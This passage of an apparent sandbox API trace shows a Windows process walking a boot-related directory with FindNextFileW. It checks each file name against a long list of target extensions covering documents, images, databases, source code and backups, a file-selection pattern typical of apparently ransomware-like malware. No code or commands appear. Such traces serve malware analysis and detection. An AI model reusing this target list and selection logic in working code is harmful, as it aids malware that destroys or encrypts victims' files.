[0157.767] lstrcmpiW (lpString1=".bin", lpString2=".LOG") returned -1 [0157.767] lstrlenW (lpString=".bmp") returned 4 [0157.767] lstrcmpiW (lpString1=".bmp", lpString2=".LOG") returned -1 [0157.767] lstrlenW (lpString=".bz2") returned 4 [0157.767] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0157.767] lstrlenW (lpString=".c") returned 2 [0157.768] lstrcmpiW (lpString1=".c", lpString2="OG") returned -1 [0157.768] lstrlenW (lpString=".cdr") returned 4 [0157.768] lstrcmpiW (lpString1=".cdr", lpString2=".LOG") returned -1 [0157.768] lstrlenW (lpString=".cer") returned 4 [0157.768] lstrcmpiW (lpString1=".cer", lpString2=".LOG") returned -1 [0157.768] lstrlenW (lpString=".cf") returned 3 [0157.768] lstrcmpiW (lpString1=".cf", lpString2="LOG") returned -1 [0157.768] lstrlenW (lpString=".cfc") returned 4 [0157.768] lstrcmpiW (lpString1=".cfc", lpString2=".LOG") returned -1 [0157.768] lstrlenW (lpString=".cfm") returned 4 [0157.768] lstrcmpiW (lpString1=".cfm", lpString2=".LOG") returned -1 [0157.768] lstrlenW (lpString=".cfml") returned 5 [0157.768] lstrcmpiW (lpString1=".cfml", lpString2="D.LOG") returned -1 [0157.768] lstrlenW (lpString=".cfu") returned 4 [0157.768] lstrcmpiW (lpString1=".cfu", lpString2=".LOG") returned -1 [0157.768] lstrlenW (lpString=".chm") returned 4 [0157.768] lstrcmpiW (lpString1=".chm", lpString2=".LOG") returned -1 [0157.768] lstrlenW (lpString=".cin") returned 4 [0157.768] lstrcmpiW (lpString1=".cin", lpString2=".LOG") returned -1 [0157.768] lstrlenW (lpString=".class") returned 6 [0157.768] lstrcmpiW (lpString1=".class", lpString2="CD.LOG") returned -1 [0157.768] lstrlenW (lpString=".clx") returned 4 [0157.768] lstrcmpiW (lpString1=".clx", lpString2=".LOG") returned -1 [0157.768] lstrlenW (lpString=".config") returned 7 [0157.768] lstrcmpiW (lpString1=".config", lpString2="BCD.LOG") returned -1 [0157.768] lstrlenW (lpString=".cpp") returned 4 [0157.768] lstrcmpiW (lpString1=".cpp", lpString2=".LOG") returned -1 [0157.769] lstrlenW (lpString=".cr2") returned 4 [0157.769] lstrcmpiW (lpString1=".cr2", lpString2=".LOG") returned -1 [0157.769] lstrlenW (lpString=".crt") returned 4 [0157.769] lstrcmpiW (lpString1=".crt", lpString2=".LOG") returned -1 [0157.769] lstrlenW (lpString=".crw") returned 4 [0157.769] lstrcmpiW (lpString1=".crw", lpString2=".LOG") returned -1 [0157.769] lstrlenW (lpString=".cs") returned 3 [0157.769] lstrcmpiW (lpString1=".cs", lpString2="LOG") returned -1 [0157.769] lstrlenW (lpString=".css") returned 4 [0157.769] lstrcmpiW (lpString1=".css", lpString2=".LOG") returned -1 [0157.769] lstrlenW (lpString=".csv") returned 4 [0157.769] lstrcmpiW (lpString1=".csv", lpString2=".LOG") returned -1 [0157.769] lstrlenW (lpString=".cub") returned 4 [0157.769] lstrcmpiW (lpString1=".cub", lpString2=".LOG") returned -1 [0157.769] lstrlenW (lpString=".dae") returned 4 [0157.769] lstrcmpiW (lpString1=".dae", lpString2=".LOG") returned -1 [0157.769] lstrlenW (lpString=".dat") returned 4 [0157.769] lstrcmpiW (lpString1=".dat", lpString2=".LOG") returned -1 [0157.769] lstrlenW (lpString=".db") returned 3 [0157.769] lstrcmpiW (lpString1=".db", lpString2="LOG") returned -1 [0157.769] lstrlenW (lpString=".dbf") returned 4 [0157.769] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0157.769] lstrlenW (lpString=".dbx") returned 4 [0157.769] lstrcmpiW (lpString1=".dbx", lpString2=".LOG") returned -1 [0157.769] lstrlenW (lpString=".dc3") returned 4 [0157.769] lstrcmpiW (lpString1=".dc3", lpString2=".LOG") returned -1 [0157.769] lstrlenW (lpString=".dcm") returned 4 [0157.769] lstrcmpiW (lpString1=".dcm", lpString2=".LOG") returned -1 [0157.770] lstrlenW (lpString=".dcr") returned 4 [0157.770] lstrcmpiW (lpString1=".dcr", lpString2=".LOG") returned -1 [0157.770] lstrlenW (lpString=".der") returned 4 [0157.770] lstrcmpiW (lpString1=".der", lpString2=".LOG") returned -1 [0157.770] lstrlenW (lpString=".dib") returned 4 [0157.770] lstrcmpiW (lpString1=".dib", lpString2=".LOG") returned -1 [0157.770] lstrlenW (lpString=".dic") returned 4 [0157.770] lstrcmpiW (lpString1=".dic", lpString2=".LOG") returned -1 [0157.770] lstrlenW (lpString=".dif") returned 4 [0157.770] lstrcmpiW (lpString1=".dif", lpString2=".LOG") returned -1 [0157.770] lstrlenW (lpString=".divx") returned 5 [0157.770] lstrcmpiW (lpString1=".divx", lpString2="D.LOG") returned -1 [0157.770] lstrlenW (lpString=".djvu") returned 5 [0157.770] lstrcmpiW (lpString1=".djvu", lpString2="D.LOG") returned -1 [0157.770] lstrlenW (lpString=".dng") returned 4 [0157.770] lstrcmpiW (lpString1=".dng", lpString2=".LOG") returned -1 [0157.770] lstrlenW (lpString=".doc") returned 4 [0157.770] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0157.770] lstrlenW (lpString=".docm") returned 5 [0157.770] lstrcmpiW (lpString1=".docm", lpString2="D.LOG") returned -1 [0157.770] lstrlenW (lpString=".docx") returned 5 [0157.770] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0157.770] lstrlenW (lpString=".dot") returned 4 [0157.770] lstrcmpiW (lpString1=".dot", lpString2=".LOG") returned -1 [0157.770] lstrlenW (lpString=".dotm") returned 5 [0157.770] lstrcmpiW (lpString1=".dotm", lpString2="D.LOG") returned -1 [0157.770] lstrlenW (lpString=".dotx") returned 5 [0157.770] lstrcmpiW (lpString1=".dotx", lpString2="D.LOG") returned -1 [0157.770] lstrlenW (lpString=".dpx") returned 4 [0157.771] lstrcmpiW (lpString1=".dpx", lpString2=".LOG") returned -1 [0157.771] lstrlenW (lpString=".dqy") returned 4 [0157.771] lstrcmpiW (lpString1=".dqy", lpString2=".LOG") returned -1 [0157.771] lstrlenW (lpString=".dsn") returned 4 [0157.771] lstrcmpiW (lpString1=".dsn", lpString2=".LOG") returned -1 [0157.771] lstrlenW (lpString=".dt") returned 3 [0157.771] lstrcmpiW (lpString1=".dt", lpString2="LOG") returned -1 [0157.771] lstrlenW (lpString=".dtd") returned 4 [0157.771] lstrcmpiW (lpString1=".dtd", lpString2=".LOG") returned -1 [0157.771] lstrlenW (lpString=".dwg") returned 4 [0157.771] lstrcmpiW (lpString1=".dwg", lpString2=".LOG") returned -1 [0157.771] lstrlenW (lpString=".dwt") returned 4 [0157.771] lstrcmpiW (lpString1=".dwt", lpString2=".LOG") returned -1 [0157.771] lstrlenW (lpString=".dx") returned 3 [0157.771] lstrcmpiW (lpString1=".dx", lpString2="LOG") returned -1 [0157.771] lstrlenW (lpString=".dxf") returned 4 [0157.771] lstrcmpiW (lpString1=".dxf", lpString2=".LOG") returned -1 [0157.771] lstrlenW (lpString=".edml") returned 5 [0157.771] lstrcmpiW (lpString1=".edml", lpString2="D.LOG") returned -1 [0157.771] lstrlenW (lpString=".efd") returned 4 [0157.771] lstrcmpiW (lpString1=".efd", lpString2=".LOG") returned -1 [0157.771] lstrlenW (lpString=".elf") returned 4 [0157.771] lstrcmpiW (lpString1=".elf", lpString2=".LOG") returned -1 [0157.771] lstrlenW (lpString=".emf") returned 4 [0157.771] lstrcmpiW (lpString1=".emf", lpString2=".LOG") returned -1 [0157.771] lstrlenW (lpString=".emz") returned 4 [0157.771] lstrcmpiW (lpString1=".emz", lpString2=".LOG") returned -1 [0157.771] lstrlenW (lpString=".epf") returned 4 [0157.772] lstrcmpiW (lpString1=".epf", lpString2=".LOG") returned -1 [0157.772] lstrlenW (lpString=".eps") returned 4 [0157.772] lstrcmpiW (lpString1=".eps", lpString2=".LOG") returned -1 [0157.772] lstrlenW (lpString=".epsf") returned 5 [0157.772] lstrcmpiW (lpString1=".epsf", lpString2="D.LOG") returned -1 [0157.772] lstrlenW (lpString=".epsp") returned 5 [0157.772] lstrcmpiW (lpString1=".epsp", lpString2="D.LOG") returned -1 [0157.772] lstrlenW (lpString=".erf") returned 4 [0157.772] lstrcmpiW (lpString1=".erf", lpString2=".LOG") returned -1 [0157.772] lstrlenW (lpString=".exr") returned 4 [0157.772] lstrcmpiW (lpString1=".exr", lpString2=".LOG") returned -1 [0157.772] lstrlenW (lpString=".f4v") returned 4 [0157.772] lstrcmpiW (lpString1=".f4v", lpString2=".LOG") returned -1 [0157.772] lstrlenW (lpString=".fido") returned 5 [0157.772] lstrcmpiW (lpString1=".fido", lpString2="D.LOG") returned -1 [0157.772] lstrlenW (lpString=".flm") returned 4 [0157.772] lstrcmpiW (lpString1=".flm", lpString2=".LOG") returned -1 [0157.772] lstrlenW (lpString=".flv") returned 4 [0157.772] lstrcmpiW (lpString1=".flv", lpString2=".LOG") returned -1 [0157.772] lstrlenW (lpString=".frm") returned 4 [0157.772] lstrcmpiW (lpString1=".frm", lpString2=".LOG") returned -1 [0157.772] lstrlenW (lpString=".fxg") returned 4 [0157.772] lstrcmpiW (lpString1=".fxg", lpString2=".LOG") returned -1 [0157.772] lstrlenW (lpString=".geo") returned 4 [0157.772] lstrcmpiW (lpString1=".geo", lpString2=".LOG") returned -1 [0157.772] lstrlenW (lpString=".gif") returned 4 [0157.772] lstrcmpiW (lpString1=".gif", lpString2=".LOG") returned -1 [0157.772] lstrlenW (lpString=".grs") returned 4 [0157.772] lstrcmpiW (lpString1=".grs", lpString2=".LOG") returned -1 [0157.773] lstrlenW (lpString=".gz") returned 3 [0157.773] lstrcmpiW (lpString1=".gz", lpString2="LOG") returned -1 [0157.773] lstrlenW (lpString=".h") returned 2 [0157.773] lstrcmpiW (lpString1=".h", lpString2="OG") returned -1 [0157.773] lstrlenW (lpString=".hdr") returned 4 [0157.773] lstrcmpiW (lpString1=".hdr", lpString2=".LOG") returned -1 [0157.773] lstrlenW (lpString=".hpp") returned 4 [0157.773] lstrcmpiW (lpString1=".hpp", lpString2=".LOG") returned -1 [0157.773] lstrlenW (lpString=".hta") returned 4 [0157.773] lstrcmpiW (lpString1=".hta", lpString2=".LOG") returned -1 [0157.773] lstrlenW (lpString=".htc") returned 4 [0157.773] lstrcmpiW (lpString1=".htc", lpString2=".LOG") returned -1 [0157.773] lstrlenW (lpString=".htm") returned 4 [0157.773] lstrcmpiW (lpString1=".htm", lpString2=".LOG") returned -1 [0157.773] lstrlenW (lpString=".html") returned 5 [0157.773] lstrcmpiW (lpString1=".html", lpString2="D.LOG") returned -1 [0157.773] lstrlenW (lpString=".icb") returned 4 [0157.773] lstrcmpiW (lpString1=".icb", lpString2=".LOG") returned -1 [0157.773] lstrlenW (lpString=".ics") returned 4 [0157.773] lstrcmpiW (lpString1=".ics", lpString2=".LOG") returned -1 [0157.773] lstrlenW (lpString=".iff") returned 4 [0157.773] lstrcmpiW (lpString1=".iff", lpString2=".LOG") returned -1 [0157.773] lstrlenW (lpString=".inc") returned 4 [0157.773] lstrcmpiW (lpString1=".inc", lpString2=".LOG") returned -1 [0157.773] lstrlenW (lpString=".indd") returned 5 [0157.773] lstrcmpiW (lpString1=".indd", lpString2="D.LOG") returned -1 [0157.773] lstrlenW (lpString=".ini") returned 4 [0157.773] lstrcmpiW (lpString1=".ini", lpString2=".LOG") returned -1 [0157.774] lstrlenW (lpString=".iqy") returned 4 [0157.774] lstrcmpiW (lpString1=".iqy", lpString2=".LOG") returned -1 [0157.774] lstrlenW (lpString=".j2c") returned 4 [0157.774] lstrcmpiW (lpString1=".j2c", lpString2=".LOG") returned -1 [0157.774] lstrlenW (lpString=".j2k") returned 4 [0157.774] lstrcmpiW (lpString1=".j2k", lpString2=".LOG") returned -1 [0157.774] lstrlenW (lpString=".java") returned 5 [0157.774] lstrcmpiW (lpString1=".java", lpString2="D.LOG") returned -1 [0157.774] lstrlenW (lpString=".jp2") returned 4 [0157.774] lstrcmpiW (lpString1=".jp2", lpString2=".LOG") returned -1 [0157.774] lstrlenW (lpString=".jpc") returned 4 [0157.774] lstrcmpiW (lpString1=".jpc", lpString2=".LOG") returned -1 [0157.774] lstrlenW (lpString=".jpe") returned 4 [0157.774] lstrcmpiW (lpString1=".jpe", lpString2=".LOG") returned -1 [0157.774] lstrlenW (lpString=".jpeg") returned 5 [0157.774] lstrcmpiW (lpString1=".jpeg", lpString2="D.LOG") returned -1 [0157.774] lstrlenW (lpString=".jpf") returned 4 [0157.774] lstrcmpiW (lpString1=".jpf", lpString2=".LOG") returned -1 [0157.774] lstrlenW (lpString=".jpg") returned 4 [0157.774] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0157.774] lstrlenW (lpString=".jpx") returned 4 [0157.774] lstrcmpiW (lpString1=".jpx", lpString2=".LOG") returned -1 [0157.774] lstrlenW (lpString=".js") returned 3 [0157.774] lstrcmpiW (lpString1=".js", lpString2="LOG") returned -1 [0157.774] lstrlenW (lpString=".jsf") returned 4 [0157.774] lstrcmpiW (lpString1=".jsf", lpString2=".LOG") returned -1 [0157.774] lstrlenW (lpString=".json") returned 5 [0157.774] lstrcmpiW (lpString1=".json", lpString2="D.LOG") returned -1 [0157.774] lstrlenW (lpString=".jsp") returned 4 [0157.774] lstrcmpiW (lpString1=".jsp", lpString2=".LOG") returned -1 [0157.775] lstrlenW (lpString=".kdc") returned 4 [0157.775] lstrcmpiW (lpString1=".kdc", lpString2=".LOG") returned -1 [0157.775] lstrlenW (lpString=".kmz") returned 4 [0157.775] lstrcmpiW (lpString1=".kmz", lpString2=".LOG") returned -1 [0157.775] lstrlenW (lpString=".kwm") returned 4 [0157.775] lstrcmpiW (lpString1=".kwm", lpString2=".LOG") returned -1 [0157.775] lstrlenW (lpString=".lasso") returned 6 [0157.775] lstrcmpiW (lpString1=".lasso", lpString2="CD.LOG") returned -1 [0157.846] lstrlenW (lpString=".lbi") returned 4 [0157.846] lstrcmpiW (lpString1=".lbi", lpString2=".LOG") returned -1 [0157.846] lstrlenW (lpString=".lgf") returned 4 [0157.846] lstrcmpiW (lpString1=".lgf", lpString2=".LOG") returned -1 [0157.846] lstrlenW (lpString=".lgp") returned 4 [0157.846] lstrcmpiW (lpString1=".lgp", lpString2=".LOG") returned -1 [0157.847] lstrlenW (lpString=".log") returned 4 [0157.847] lstrcmpiW (lpString1=".log", lpString2=".LOG") returned 0 [0157.847] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0157.847] lstrlenW (lpString="BCD.LOG1") returned 8 [0157.847] lstrlenW (lpString=".1cd") returned 4 [0157.847] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0157.847] lstrlenW (lpString=".3ds") returned 4 [0157.847] lstrcmpiW (lpString1=".3ds", lpString2="LOG1") returned -1 [0157.847] lstrlenW (lpString=".3fr") returned 4 [0157.847] lstrcmpiW (lpString1=".3fr", lpString2="LOG1") returned -1 [0157.847] lstrlenW (lpString=".3g2") returned 4 [0157.847] lstrcmpiW (lpString1=".3g2", lpString2="LOG1") returned -1 [0157.847] lstrlenW (lpString=".3gp") returned 4 [0157.847] lstrcmpiW (lpString1=".3gp", lpString2="LOG1") returned -1 [0157.847] lstrlenW (lpString=".7z") returned 3 [0157.847] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0157.847] lstrlenW (lpString=".accda") returned 6 [0157.847] lstrcmpiW (lpString1=".accda", lpString2="D.LOG1") returned -1 [0157.847] lstrlenW (lpString=".accdb") returned 6 [0157.847] lstrcmpiW (lpString1=".accdb", lpString2="D.LOG1") returned -1 [0157.847] lstrlenW (lpString=".accdc") returned 6 [0157.848] lstrcmpiW (lpString1=".accdc", lpString2="D.LOG1") returned -1 [0157.848] lstrlenW (lpString=".accde") returned 6 [0157.848] lstrcmpiW (lpString1=".accde", lpString2="D.LOG1") returned -1 [0157.848] lstrlenW (lpString=".accdt") returned 6 [0157.848] lstrcmpiW (lpString1=".accdt", lpString2="D.LOG1") returned -1 [0157.848] lstrlenW (lpString=".accdw") returned 6 [0157.848] lstrcmpiW (lpString1=".accdw", lpString2="D.LOG1") returned -1 [0157.848] lstrlenW (lpString=".adb") returned 4 [0157.848] lstrcmpiW (lpString1=".adb", lpString2="LOG1") returned -1 [0157.848] lstrlenW (lpString=".adp") returned 4 [0157.848] lstrcmpiW (lpString1=".adp", lpString2="LOG1") returned -1 [0157.848] lstrlenW (lpString=".ai") returned 3 [0157.848] lstrcmpiW (lpString1=".ai", lpString2="OG1") returned -1 [0157.848] lstrlenW (lpString=".ai3") returned 4 [0157.848] lstrcmpiW (lpString1=".ai3", lpString2="LOG1") returned -1 [0157.848] lstrlenW (lpString=".ai4") returned 4 [0157.848] lstrcmpiW (lpString1=".ai4", lpString2="LOG1") returned -1 [0157.848] lstrlenW (lpString=".ai5") returned 4 [0157.848] lstrcmpiW (lpString1=".ai5", lpString2="LOG1") returned -1 [0157.848] lstrlenW (lpString=".ai6") returned 4 [0157.848] lstrcmpiW (lpString1=".ai6", lpString2="LOG1") returned -1 [0157.848] lstrlenW (lpString=".ai7") returned 4 [0157.848] lstrcmpiW (lpString1=".ai7", lpString2="LOG1") returned -1 [0157.848] lstrlenW (lpString=".ai8") returned 4 [0157.848] lstrcmpiW (lpString1=".ai8", lpString2="LOG1") returned -1 [0157.848] lstrlenW (lpString=".anim") returned 5 [0157.848] lstrcmpiW (lpString1=".anim", lpString2=".LOG1") returned -1 [0157.848] lstrlenW (lpString=".arw") returned 4 [0157.848] lstrcmpiW (lpString1=".arw", lpString2="LOG1") returned -1 [0157.848] lstrlenW (lpString=".as") returned 3 [0157.848] lstrcmpiW (lpString1=".as", lpString2="OG1") returned -1 [0157.848] lstrlenW (lpString=".asa") returned 4 [0157.848] lstrcmpiW (lpString1=".asa", lpString2="LOG1") returned -1 [0157.848] lstrlenW (lpString=".asc") returned 4 [0157.848] lstrcmpiW (lpString1=".asc", lpString2="LOG1") returned -1 [0157.848] lstrlenW (lpString=".ascx") returned 5 [0157.848] lstrcmpiW (lpString1=".ascx", lpString2=".LOG1") returned -1 [0157.849] lstrlenW (lpString=".asm") returned 4 [0157.849] lstrcmpiW (lpString1=".asm", lpString2="LOG1") returned -1 [0157.849] lstrlenW (lpString=".asmx") returned 5 [0157.849] lstrcmpiW (lpString1=".asmx", lpString2=".LOG1") returned -1 [0157.849] lstrlenW (lpString=".asp") returned 4 [0157.849] lstrcmpiW (lpString1=".asp", lpString2="LOG1") returned -1 [0157.849] lstrlenW (lpString=".aspx") returned 5 [0157.849] lstrcmpiW (lpString1=".aspx", lpString2=".LOG1") returned -1 [0157.849] lstrlenW (lpString=".asr") returned 4 [0157.849] lstrcmpiW (lpString1=".asr", lpString2="LOG1") returned -1 [0157.849] lstrlenW (lpString=".asx") returned 4 [0157.849] lstrcmpiW (lpString1=".asx", lpString2="LOG1") returned -1 [0157.849] lstrlenW (lpString=".avi") returned 4 [0157.849] lstrcmpiW (lpString1=".avi", lpString2="LOG1") returned -1 [0157.849] lstrlenW (lpString=".avs") returned 4 [0157.849] lstrcmpiW (lpString1=".avs", lpString2="LOG1") returned -1 [0157.849] lstrlenW (lpString=".backup") returned 7 [0157.849] lstrcmpiW (lpString1=".backup", lpString2="CD.LOG1") returned -1 [0157.849] lstrlenW (lpString=".bak") returned 4 [0157.849] lstrcmpiW (lpString1=".bak", lpString2="LOG1") returned -1 [0157.849] lstrlenW (lpString=".bay") returned 4 [0157.849] lstrcmpiW (lpString1=".bay", lpString2="LOG1") returned -1 [0157.849] lstrlenW (lpString=".bd") returned 3 [0157.849] lstrcmpiW (lpString1=".bd", lpString2="OG1") returned -1 [0157.849] lstrlenW (lpString=".bin") returned 4 [0157.849] lstrcmpiW (lpString1=".bin", lpString2="LOG1") returned -1 [0157.849] lstrlenW (lpString=".bmp") returned 4 [0157.849] lstrcmpiW (lpString1=".bmp", lpString2="LOG1") returned -1 [0157.849] lstrlenW (lpString=".bz2") returned 4 [0157.849] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0157.849] lstrlenW (lpString=".c") returned 2 [0157.849] lstrcmpiW (lpString1=".c", lpString2="G1") returned -1 [0157.849] lstrlenW (lpString=".cdr") returned 4 [0157.849] lstrcmpiW (lpString1=".cdr", lpString2="LOG1") returned -1 [0157.849] lstrlenW (lpString=".cer") returned 4 [0157.849] lstrcmpiW (lpString1=".cer", lpString2="LOG1") returned -1 [0157.850] lstrlenW (lpString=".cf") returned 3 [0157.850] lstrcmpiW (lpString1=".cf", lpString2="OG1") returned -1 [0157.850] lstrlenW (lpString=".cfc") returned 4 [0157.850] lstrcmpiW (lpString1=".cfc", lpString2="LOG1") returned -1 [0157.850] lstrlenW (lpString=".cfm") returned 4 [0157.850] lstrcmpiW (lpString1=".cfm", lpString2="LOG1") returned -1 [0157.850] lstrlenW (lpString=".cfml") returned 5 [0157.850] lstrcmpiW (lpString1=".cfml", lpString2=".LOG1") returned -1 [0157.850] lstrlenW (lpString=".cfu") returned 4 [0157.850] lstrcmpiW (lpString1=".cfu", lpString2="LOG1") returned -1 [0157.850] lstrlenW (lpString=".chm") returned 4 [0157.850] lstrcmpiW (lpString1=".chm", lpString2="LOG1") returned -1 [0157.850] lstrlenW (lpString=".cin") returned 4 [0157.850] lstrcmpiW (lpString1=".cin", lpString2="LOG1") returned -1 [0157.850] lstrlenW (lpString=".class") returned 6 [0157.850] lstrcmpiW (lpString1=".class", lpString2="D.LOG1") returned -1 [0157.850] lstrlenW (lpString=".clx") returned 4 [0157.850] lstrcmpiW (lpString1=".clx", lpString2="LOG1") returned -1 [0157.850] lstrlenW (lpString=".config") returned 7 [0157.850] lstrcmpiW (lpString1=".config", lpString2="CD.LOG1") returned -1 [0157.850] lstrlenW (lpString=".cpp") returned 4 [0157.850] lstrcmpiW (lpString1=".cpp", lpString2="LOG1") returned -1 [0157.850] lstrlenW (lpString=".cr2") returned 4 [0157.850] lstrcmpiW (lpString1=".cr2", lpString2="LOG1") returned -1 [0157.850] lstrlenW (lpString=".crt") returned 4 [0157.850] lstrcmpiW (lpString1=".crt", lpString2="LOG1") returned -1 [0157.850] lstrlenW (lpString=".crw") returned 4 [0157.850] lstrcmpiW (lpString1=".crw", lpString2="LOG1") returned -1 [0157.850] lstrlenW (lpString=".cs") returned 3 [0157.850] lstrcmpiW (lpString1=".cs", lpString2="OG1") returned -1 [0157.850] lstrlenW (lpString=".css") returned 4 [0157.850] lstrcmpiW (lpString1=".css", lpString2="LOG1") returned -1 [0157.850] lstrlenW (lpString=".csv") returned 4 [0157.850] lstrcmpiW (lpString1=".csv", lpString2="LOG1") returned -1 [0157.850] lstrlenW (lpString=".cub") returned 4 [0157.850] lstrcmpiW (lpString1=".cub", lpString2="LOG1") returned -1 [0157.851] lstrlenW (lpString=".dae") returned 4 [0157.851] lstrcmpiW (lpString1=".dae", lpString2="LOG1") returned -1 [0157.851] lstrlenW (lpString=".dat") returned 4 [0157.851] lstrcmpiW (lpString1=".dat", lpString2="LOG1") returned -1 [0157.851] lstrlenW (lpString=".db") returned 3 [0157.851] lstrcmpiW (lpString1=".db", lpString2="OG1") returned -1 [0157.851] lstrlenW (lpString=".dbf") returned 4 [0157.851] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0157.851] lstrlenW (lpString=".dbx") returned 4 [0157.851] lstrcmpiW (lpString1=".dbx", lpString2="LOG1") returned -1 [0157.851] lstrlenW (lpString=".dc3") returned 4 [0157.851] lstrcmpiW (lpString1=".dc3", lpString2="LOG1") returned -1 [0157.851] lstrlenW (lpString=".dcm") returned 4 [0157.851] lstrcmpiW (lpString1=".dcm", lpString2="LOG1") returned -1 [0157.851] lstrlenW (lpString=".dcr") returned 4 [0157.851] lstrcmpiW (lpString1=".dcr", lpString2="LOG1") returned -1 [0157.851] lstrlenW (lpString=".der") returned 4 [0157.851] lstrcmpiW (lpString1=".der", lpString2="LOG1") returned -1 [0157.851] lstrlenW (lpString=".dib") returned 4 [0157.851] lstrcmpiW (lpString1=".dib", lpString2="LOG1") returned -1 [0157.851] lstrlenW (lpString=".dic") returned 4 [0157.851] lstrcmpiW (lpString1=".dic", lpString2="LOG1") returned -1 [0157.851] lstrlenW (lpString=".dif") returned 4 [0157.851] lstrcmpiW (lpString1=".dif", lpString2="LOG1") returned -1 [0157.851] lstrlenW (lpString=".divx") returned 5 [0157.851] lstrcmpiW (lpString1=".divx", lpString2=".LOG1") returned -1 [0157.851] lstrlenW (lpString=".djvu") returned 5 [0157.851] lstrcmpiW (lpString1=".djvu", lpString2=".LOG1") returned -1 [0157.851] lstrlenW (lpString=".dng") returned 4 [0157.851] lstrcmpiW (lpString1=".dng", lpString2="LOG1") returned -1 [0157.851] lstrlenW (lpString=".doc") returned 4 [0157.851] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0157.851] lstrlenW (lpString=".docm") returned 5 [0157.851] lstrcmpiW (lpString1=".docm", lpString2=".LOG1") returned -1 [0157.851] lstrlenW (lpString=".docx") returned 5 [0157.851] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0157.851] lstrlenW (lpString=".dot") returned 4 [0157.852] lstrcmpiW (lpString1=".dot", lpString2="LOG1") returned -1 [0157.852] lstrlenW (lpString=".dotm") returned 5 [0157.852] lstrcmpiW (lpString1=".dotm", lpString2=".LOG1") returned -1 [0157.852] lstrlenW (lpString=".dotx") returned 5 [0157.852] lstrcmpiW (lpString1=".dotx", lpString2=".LOG1") returned -1 [0157.852] lstrlenW (lpString=".dpx") returned 4 [0157.852] lstrcmpiW (lpString1=".dpx", lpString2="LOG1") returned -1 [0157.852] lstrlenW (lpString=".dqy") returned 4 [0157.852] lstrcmpiW (lpString1=".dqy", lpString2="LOG1") returned -1 [0157.852] lstrlenW (lpString=".dsn") returned 4 [0157.852] lstrcmpiW (lpString1=".dsn", lpString2="LOG1") returned -1 [0157.852] lstrlenW (lpString=".dt") returned 3 [0157.852] lstrcmpiW (lpString1=".dt", lpString2="OG1") returned -1 [0157.852] lstrlenW (lpString=".dtd") returned 4 [0157.852] lstrcmpiW (lpString1=".dtd", lpString2="LOG1") returned -1 [0157.852] lstrlenW (lpString=".dwg") returned 4 [0157.852] lstrcmpiW (lpString1=".dwg", lpString2="LOG1") returned -1 [0157.852] lstrlenW (lpString=".dwt") returned 4 [0157.852] lstrcmpiW (lpString1=".dwt", lpString2="LOG1") returned -1 [0157.852] lstrlenW (lpString=".dx") returned 3 [0157.852] lstrcmpiW (lpString1=".dx", lpString2="OG1") returned -1 [0157.852] lstrlenW (lpString=".dxf") returned 4 [0157.852] lstrcmpiW (lpString1=".dxf", lpString2="LOG1") returned -1 [0157.852] lstrlenW (lpString=".edml") returned 5 [0157.852] lstrcmpiW (lpString1=".edml", lpString2=".LOG1") returned -1 [0157.852] lstrlenW (lpString=".efd") returned 4 [0157.852] lstrcmpiW (lpString1=".efd", lpString2="LOG1") returned -1 [0157.852] lstrlenW (lpString=".elf") returned 4 [0157.852] lstrcmpiW (lpString1=".elf", lpString2="LOG1") returned -1 [0157.852] lstrlenW (lpString=".emf") returned 4 [0157.853] lstrcmpiW (lpString1=".emf", lpString2="LOG1") returned -1 [0157.853] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.853] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0157.853] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.853] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0157.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.854] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, 